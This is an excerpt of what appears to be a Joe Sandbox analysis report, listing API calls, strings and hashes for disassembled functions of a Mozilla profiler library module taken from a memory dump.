Part of subcall function 6CA24410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA63EBD,00000017,?,00000000,?,6CA63EBD,?,?,6CA242D2), ref: 6CA24444

Strings

-%llu, xrefs: 6CA74733
., xrefs: 6CA7476A
profiler-paused, xrefs: 6CA746E4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: b137606e1c250701fc2cdded5f4c345cfc39621e04bb60daadd9926c3fffb912
Instruction ID: 076f2d1bce52fa85d7797cad7c2dc6f89ebbafa0c70cd4e7ac172cd6eaee5eb7
Opcode Fuzzy Hash: b137606e1c250701fc2cdded5f4c345cfc39621e04bb60daadd9926c3fffb912
Instruction Fuzzy Hash: 30314B75F043085BCB0CCF6DD88129DBBE6EB89314F59813EE8059BB41E77498848F60

Function 6CA7B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA63EBD,6CA63EBD,00000000), ref: 6CA242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA7B127), ref: 6CA7B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA7B4E4

Strings

pid:, xrefs: 6CA7B4DE

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 9a6b8a6649150122139cb18c025e227ce4a08e1ac45363cd8302fc5da05c9176
Instruction ID: c0e21c032ed673462c2b66fdb04a3cc0f84d7e0970a58a30770368dcf2b5fae9
Opcode Fuzzy Hash: 9a6b8a6649150122139cb18c025e227ce4a08e1ac45363cd8302fc5da05c9176
Instruction Fuzzy Hash: 97311775A01209DFDB20DFAAE840AEEB775FF05318F580629D41267A40D731E8D9CBB1

Function 6CA6E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6E577
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6E584
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA6E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA6E722, 6CA6E750, 6CA6E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA6E826, 6CA6E850
MOZ_PROFILER_STARTUP, xrefs: 6CA6E5A1, 6CA6E5CC, 6CA6E5FF, 6CA6E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA6E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA6E655

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3a6fd8bb6f243d5b974b60ae0622d4b9e9404f558c0b48144d4a16079348eec6
Instruction ID: 7f001c576716ec191d94f6b2330dbb06292a4875ead17a3d79cde16b73dbcf22
Opcode Fuzzy Hash: 3a6fd8bb6f243d5b974b60ae0622d4b9e9404f558c0b48144d4a16079348eec6
Instruction Fuzzy Hash: CA11E13160434ADFCB089F99E848B6DBBB4FB89328F00861DE84657B50C770A886CBD1

Function 6CA70C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA70CD5

Part of subcall function 6CA5F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA5F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA70D40
free.MOZGLUE ref: 6CA70DCB

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

free.MOZGLUE ref: 6CA70DDD
free.MOZGLUE ref: 6CA70DF2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0a08e9f73cc36ca8be1c97fd3f70692c386261fcc46438632b49311e7c0fd07a
Instruction ID: ec8e5de4aa76f6844f07b0f8529df3ac6ac6c3d7bc79fd252579df247908a1f8
Opcode Fuzzy Hash: 0a08e9f73cc36ca8be1c97fd3f70692c386261fcc46438632b49311e7c0fd07a
Instruction Fuzzy Hash: 614138759187809BD320CF29C28179AFBE5BFC9714F518A2EE8D887711DB709489CB92

Function 6CA7CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CDA4

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

Part of subcall function 6CA7D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA7CDBA,00100000,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D158
Part of subcall function 6CA7D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA7CDBA,00100000,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CDC4

Part of subcall function 6CA77480: ReleaseSRWLockExclusive.KERNEL32(?,6CA815FC,?,?,?,?,6CA815FC,?), ref: 6CA774EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CECC

Part of subcall function 6CA3CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA3CAA2

Part of subcall function 6CA6CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA7CEEA,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000), ref: 6CA6CB57
Part of subcall function 6CA6CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA6CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA7CEEA,?,?), ref: 6CA6CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D058

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2f2d1590de75b956a5a83fe26463c7032f93187af740fbbffab6c89db0e08e2e
Instruction ID: 30ece3400e3600209fb5aca2a5cde2be8140d8bf634147d05ddf5b40795cc0b3
Opcode Fuzzy Hash: 2f2d1590de75b956a5a83fe26463c7032f93187af740fbbffab6c89db0e08e2e
Instruction Fuzzy Hash: 51D18D75A04B069FD718CF28C580B99F7F1BF89308F05862DD8598B712EB31A9A5CB91

Function 6CA31720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA317B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA318EE
free.MOZGLUE(?), ref: 6CA31911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA3194C

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 72b7f98e0ba2a7a7045bba15ec87f5ed0fb2ce28b458ef54b0d68e4dc4dd1383
Instruction ID: bf89d191a36f271003ff6d42008f28ce1a4f9f5e6aa1a933ee9f76bfacca7d3e
Opcode Fuzzy Hash: 72b7f98e0ba2a7a7045bba15ec87f5ed0fb2ce28b458ef54b0d68e4dc4dd1383
Instruction Fuzzy Hash: B081C470A103159FCB08CFA9D8A49AEBBB1FF89314F04552CE915AB750D730E899CBA1

Function 6CA45C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA45D40
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA45D67
__aulldiv.LIBCMT ref: 6CA45DB4
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA45DED

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fff9d15666c7597fbd1071362d074b92fa307b464ea2af98abcd59b51f1fb26f
Instruction ID: 6b62dfa14488ece76494b6b2603c5500c843a5418b91524d7ac1105166a17ff5
Opcode Fuzzy Hash: fff9d15666c7597fbd1071362d074b92fa307b464ea2af98abcd59b51f1fb26f
Instruction Fuzzy Hash: EB514C71E0025A8FDF0CCFA8D954AAEBBB2BF85304F19C61DD811A7760C7306986CB90

Function 6CA2CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA2CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA2CF4E

Strings

0, xrefs: 6CA2CF30

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9cc72462458685eb47b876e3ecc5358d831c209673a733130a2d8a649ee1c1ea
Instruction ID: ace0222050a41a63723c66df18bef521f892248ce2de5b57abf20afecb717ddf
Opcode Fuzzy Hash: 9cc72462458685eb47b876e3ecc5358d831c209673a733130a2d8a649ee1c1ea
Instruction Fuzzy Hash: BD512471A002668FCB04CF18C490A9AFBB5EF99304F19819DD8595F352D335ED46CBE0

Function 6CA877D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA877FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CA87829

Part of subcall function 6CA5CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA231A7), ref: 6CA5CC45
Part of subcall function 6CA5CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA231A7), ref: 6CA5CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA8789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA878CF

Part of subcall function 6CA24DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA24E5A
Part of subcall function 6CA24DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA24E97

Part of subcall function 6CA24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA63EBD,6CA63EBD,00000000), ref: 6CA242A9

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 5171a481120e1b2ac5bfff409a2873f396cd39ea92b8861971e52097e6a3c7cf
Instruction ID: d02ae71d931b33bcabcda879b3e70d8ab183aad8b8520522d7c210957759574b
Opcode Fuzzy Hash: 5171a481120e1b2ac5bfff409a2873f396cd39ea92b8861971e52097e6a3c7cf
Instruction Fuzzy Hash: EC41B071A047069FD300DF29D48056BFBF4FFCA264F604A2DE4A987640DB30D599CB92

Function 6CA66470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA682BC,?,?), ref: 6CA6649B

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA664A9

Part of subcall function 6CA5FA80: GetCurrentThreadId.KERNEL32 ref: 6CA5FA8D
Part of subcall function 6CA5FA80: AcquireSRWLockExclusive.KERNEL32(6CAAF448), ref: 6CA5FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6653F
free.MOZGLUE(?), ref: 6CA6655A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1fc7ac139c4229a6e07bbbe90146ccbc944346af8cc3d2d89ec9ed7c97cac870
Instruction ID: 5b5a1424b558b0b289f24215e3c221b3c3f4e8989fc6c2804f07bfe1b7c30a5e
Opcode Fuzzy Hash: 1fc7ac139c4229a6e07bbbe90146ccbc944346af8cc3d2d89ec9ed7c97cac870
Instruction Fuzzy Hash: D131A2B5A043059FD704CF25D980A9EBBF4FF88314F00852EE85A97751EB30E959CB92

Function 6CA5FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CA7D019,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?), ref: 6CA5FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CA7D019,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?), ref: 6CA5FFF5
free.MOZGLUE(?,?,?,?,?,6CA7D019,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?), ref: 6CA6001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CA7D019,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?), ref: 6CA6002A

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 30e4e0b2792da2d0341be718cdff7929e10a20b0cc12ace07790368fcb3d5586
Instruction ID: 9064bc6236ef11edcda36a19ce1017c41176fadccd95a675c1c680750848d56b
Opcode Fuzzy Hash: 30e4e0b2792da2d0341be718cdff7929e10a20b0cc12ace07790368fcb3d5586
Instruction Fuzzy Hash: A72106B2A002155FC7089E7DDC948AFB7BAFB853243254338E525D7B80EA319D9982E0

Function 6CA3B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA3B4F5
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3B502
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3B542
free.MOZGLUE(?), ref: 6CA3B578

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5870bb2c58b38f04cf28d316dc51d93660962d2054351120baeaa33102adea28
Instruction ID: 072f0e4800f484e91e9d148baa5f15ac61b212bf62cea6326b8a981b3283db88
Opcode Fuzzy Hash: 5870bb2c58b38f04cf28d316dc51d93660962d2054351120baeaa33102adea28
Instruction Fuzzy Hash: BD11B731904F56CBD7158F69E9107A5B3B1FF96318F14A70EE84E93A01EBB1B1C687A0

Function 6CA63DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA2F20E,?), ref: 6CA63DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA2F20E,00000000,?), ref: 6CA63DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA63E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA63E0E

Part of subcall function 6CA5CC00: GetCurrentProcess.KERNEL32(?,?,6CA231A7), ref: 6CA5CC0D
Part of subcall function 6CA5CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA231A7), ref: 6CA5CC16

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 6a3d8cbe25b9e5fec614c312c1a806079ad1c039f16ffcbfdeb2b3a4d64beb6b
Instruction ID: 10965ff95cb5287624afb88e61903462c439b39cfee7394231ac413bd020c351
Opcode Fuzzy Hash: 6a3d8cbe25b9e5fec614c312c1a806079ad1c039f16ffcbfdeb2b3a4d64beb6b
Instruction Fuzzy Hash: E6F082715003097BD704AB94EC41DAF376DDB4A628F044020FE0817700D636BD6A86F7

Function 6CA720B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA720B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA5FBD1), ref: 6CA720C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA5FBD1), ref: 6CA720DA
free.MOZGLUE(00000000,?,6CA5FBD1), ref: 6CA720F1

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 0e33eae731f2c50cf705ae8267e931cf2a41a586670ea68e140c9822a22aea5b
Instruction ID: 4bb9b31ac5531fb16a54b88a1d9341c115823739bd6cdfa0fe521ebc7cea633a
Opcode Fuzzy Hash: 0e33eae731f2c50cf705ae8267e931cf2a41a586670ea68e140c9822a22aea5b
Instruction Fuzzy Hash: D7E0653560071A9BC6309F65F80868EBBF9FF86214B14472AE54683B00D776A98B87E5

Function 6CA785B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA785D3

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA78725

Strings

map/set<T> too long, xrefs: 6CA78720

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 183b16af2b962d8287a641b3733ea3006336a415267827dfcefa3401d0545485
Instruction ID: 85c085fac4c079674c66649974b3c1e8e2d6e93ffe346b06576c9a5dbceaa0f3
Opcode Fuzzy Hash: 183b16af2b962d8287a641b3733ea3006336a415267827dfcefa3401d0545485
Instruction Fuzzy Hash: 3F517878600681DFD711CF18C584B96BBF1BF4A328F18C18AD8596BB52C335E885CFA2

Function 6CA2BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA2BDEB
